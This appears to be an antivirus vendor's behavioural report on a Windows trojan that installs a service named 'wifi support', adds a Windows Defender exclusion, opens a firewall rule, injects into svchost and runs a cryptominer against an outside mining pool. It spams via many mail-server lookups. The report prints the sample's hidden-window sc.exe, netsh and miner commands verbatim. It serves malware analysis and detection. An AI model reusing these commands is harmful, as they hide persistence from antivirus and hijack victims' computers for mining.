Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\eatknlzs] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\eatknlzs] 'ImagePath' = '%WINDIR%\SysWOW64\eatknlzs\dxxozizb.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\eatknlzs] 'ImagePath' = '%WINDIR%\SysWOW64\eatknlzs\dxxozizb.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\eatknlzs' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\dxxozizb.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\dxxozizb.exe to %WINDIR%\syswow64\eatknlzs\dxxozizb.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://ip##fo.io/ip
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK sm####.eastlink.ca
- DNS ASK ne##i.fi
- DNS ASK fe####.#ail.saunalahti.fi
- DNS ASK fu##re.ca
- DNS ASK ma########1.futureelectronics.com
- DNS ASK mo###ntum.no
- DNS ASK sp#####an.symetra.no
- DNS ASK ep####estore.com
- DNS ASK bw#.#astlink.ca
- DNS ASK dy###erve.net
- DNS ASK lo###net.com
- DNS ASK la#####ercomunicare.it
- DNS ASK ma##.###etepercomunicare.it
- DNS ASK mo###orod.ru
- DNS ASK be###outh.net
- DNS ASK ff######x-vip1.prodigy.net
- DNS ASK sp##nt.ca
- DNS ASK en###o.on.ca
- DNS ASK ma##.#noreo.on.ca
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK re#####.kiev.sovam.com
- DNS ASK po####.victoria.bc.ca
- DNS ASK mx#.mail.ru
- DNS ASK hc###r.nf.ca
- DNS ASK un###siness.net
- DNS ASK wi###wslive.com
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK co####.kyschools.us
- DNS ASK google.com
- DNS ASK ho##ail.it
- DNS ASK ch#.ab.ca
- DNS ASK st#####.hartnell.edu
- DNS ASK ra###texnika.ru
- DNS ASK mx##.nicmail.ru
- DNS ASK mi##s.edu
- DNS ASK ca####.mines.edu
- DNS ASK os####e.yorku.ca
- DNS ASK ma######very-1.uit.yorku.ca
- DNS ASK sv###nline.com
- DNS ASK lo##pick.se
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK ya##o.co.uk
- DNS ASK co##el.com
- DNS ASK co##ast.net
- DNS ASK be###outh.com
- DNS ASK in###fimo.fr
- DNS ASK mx.#####.orange-business.com
- DNS ASK ce##ous.com
- DNS ASK ma##.#erious.com
- DNS ASK ne##om.ca
- DNS ASK te###.com.br
- DNS ASK vi#####br-mx.terra.com
- DNS ASK ge###urbest.ch
- DNS ASK mt####.infomaniak.ch
- DNS ASK ga###bby.com
- DNS ASK hc##c.gc.ca
- DNS ASK ya##o.es
- DNS ASK to####kers.com.ar
- DNS ASK mx###.#l79.sinspam.com
- DNS ASK bu##.##tivestate.com
- DNS ASK we####nassurance.ca
- DNS ASK av###erkut.ru
- DNS ASK mx.##ndex.net
- DNS ASK ce#####ttherocks.com.au
- DNS ASK co###evel.com
- DNS ASK ma#l.ru
- DNS ASK xt####l.xtramix.ae
- DNS ASK as###.facebook.com
- DNS ASK rr#.#ouv.qc.ca
- DNS ASK rc####te.riq.net
- DNS ASK ya##o.it
- DNS ASK pr####tsonsale.com
- DNS ASK uc.#c.ca
- DNS ASK cl######.eu.messagelabs.com
- DNS ASK ag#.#ouv.qc.ca
- DNS ASK ad##ess.com
- DNS ASK ma####.mailtwo.com
- DNS ASK ou##rs.net
- DNS ASK ma##.outdrs.net
- DNS ASK pw##c.gc.ca
- DNS ASK mx.####.seg-egs.gc.ca
- DNS ASK my##s.net
- DNS ASK mx.##mts.net
- DNS ASK um###real.ca
- DNS ASK sm####.umontreal.ca
- DNS ASK xt##mix.ae
- DNS ASK li#e.dk
- DNS ASK mx#.#omcast.net
- DNS ASK 20#######1.pamx1.hotmail.com
- DNS ASK ne##abo.pt
- DNS ASK ma##.#eranit.com.tr
- DNS ASK al######dar.finmeccanica.it
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK mt####rasil.com.br
- DNS ASK tr##yg.com
- DNS ASK re##ult.com
- DNS ASK sm##.renault.fr
- DNS ASK or##ge.fr
- DNS ASK sm####n.orange.fr
- DNS ASK ja##w.com
- DNS ASK li#e.fr
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ho###il.co.uk
- DNS ASK gm#.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK in#######mtp.cp.blacknight.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK em###qmail.com
- DNS ASK ex##te.com
- DNS ASK ya##o.com
- DNS ASK co###ight.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK at#.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mx######91d01.pphosted.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ao#.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK st###lamp.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK ASPMX.L.GOOGLE.com
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK se##no.it
- DNS ASK lu##ku.com
- DNS ASK mx#.#uukku.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK se####stcomms.com
- DNS ASK dh##a.net
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK th####irls.co.uk
- DNS ASK mm#.org
- DNS ASK ma######y1.mainehealth.org
- DNS ASK wi##er.at
- DNS ASK ma##.wieser.at
- DNS ASK we######tylemagazine.com
- DNS ASK ma##.####ingstylemagazine.com
- DNS ASK sh#w.ca
- DNS ASK sm##.##b.shawcable.net
- DNS ASK ra##ler.ru
- DNS ASK in##.rambler.ru
- DNS ASK re#####ingschools.org
- DNS ASK ha##ail.net
- DNS ASK mx#.#anmail.net
- DNS ASK ax#l.ws
- DNS ASK ma##.axtl.ws
- DNS ASK tu###arsales.ca
- DNS ASK co###serve.com
- DNS ASK va###ci-tr.com
- DNS ASK ho##ail.de
- DNS ASK mx#.ukr.net
- DNS ASK tr####pierce.com
- DNS ASK uk#.net
- DNS ASK ho##ail.com
- DNS ASK we#.de
- DNS ASK mx###02.web.de
- DNS ASK tu####ong.com.vn
- DNS ASK mx####.maychuemail.net
- DNS ASK fr##i.it
- DNS ASK ho##ail.fr
- DNS ASK mc####fitzgerald.ie
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK al###isusa.com
- DNS ASK mx#.#####0-83.c3s2.iphmx.com
- DNS ASK ti###linet.it
- DNS ASK ho##esf.com
- DNS ASK as#.##flexion.net
- DNS ASK sc.#enai.br
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK gm##p.com
- DNS ASK pa####x.above.com
- DNS ASK ve#####scosmetics.com
- DNS ASK ma###.corvel.com
- DNS ASK mx.###turylink.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\eatknlzs\dxxozizb.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\eatknlzs\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dxxozizb.exe" %WINDIR%\SysWOW64\eatknlzs\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create eatknlzs binPath= "%WINDIR%\SysWOW64\eatknlzs\dxxozizb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description eatknlzs "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start eatknlzs' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\eatknlzs\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dxxozizb.exe" %WINDIR%\SysWOW64\eatknlzs\
- '%WINDIR%\syswow64\sc.exe' create eatknlzs binPath= "%WINDIR%\SysWOW64\eatknlzs\dxxozizb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description eatknlzs "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start eatknlzs
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k
